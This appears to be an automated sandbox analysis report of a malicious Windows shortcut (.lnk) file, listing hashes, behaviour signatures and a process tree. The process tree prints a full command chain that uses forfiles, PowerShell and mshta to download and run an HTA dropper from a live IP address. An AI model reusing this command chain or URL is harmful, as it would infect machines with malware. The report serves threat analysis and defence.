Analysis

  • max time kernel
    137s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2024, 02:25

General

  • Target

    6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk

  • Size

    1KB

  • MD5

    90a6eed71981efdcdbc0c8c0151cfb0e

  • SHA1

    c21e13a29ad18e73b88eddec919b85925a95952a

  • SHA256

    6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd

  • SHA512

    fa7b96a7e404dc187d43f04ccd55637a959fbb7950d6b69e80539b4026cfd62460a74330dadb2a8e1578ddf0b87f31a4c8bac6451bd57130aa90f5a5bce77bbd

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://89.23.98.210/qqeng

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3532
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://89.23.98.210/qqeng
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        start mshta http://89.23.98.210/qqeng
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3544
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" http://89.23.98.210/qqeng
          4⤵
          • Blocklisted process makes network request
          PID:2732

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wdsemkh.xeu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3544-10-0x00007FF8E4D90000-0x00007FF8E5851000-memory.dmp

    Filesize

    10.8MB

  • memory/3544-9-0x000001DD36340000-0x000001DD36362000-memory.dmp

    Filesize

    136KB

  • memory/3544-11-0x000001DD4EAC0000-0x000001DD4EAD0000-memory.dmp

    Filesize

    64KB

  • memory/3544-12-0x000001DD4EAC0000-0x000001DD4EAD0000-memory.dmp

    Filesize

    64KB

  • memory/3544-15-0x00007FF8E4D90000-0x00007FF8E5851000-memory.dmp

    Filesize

    10.8MB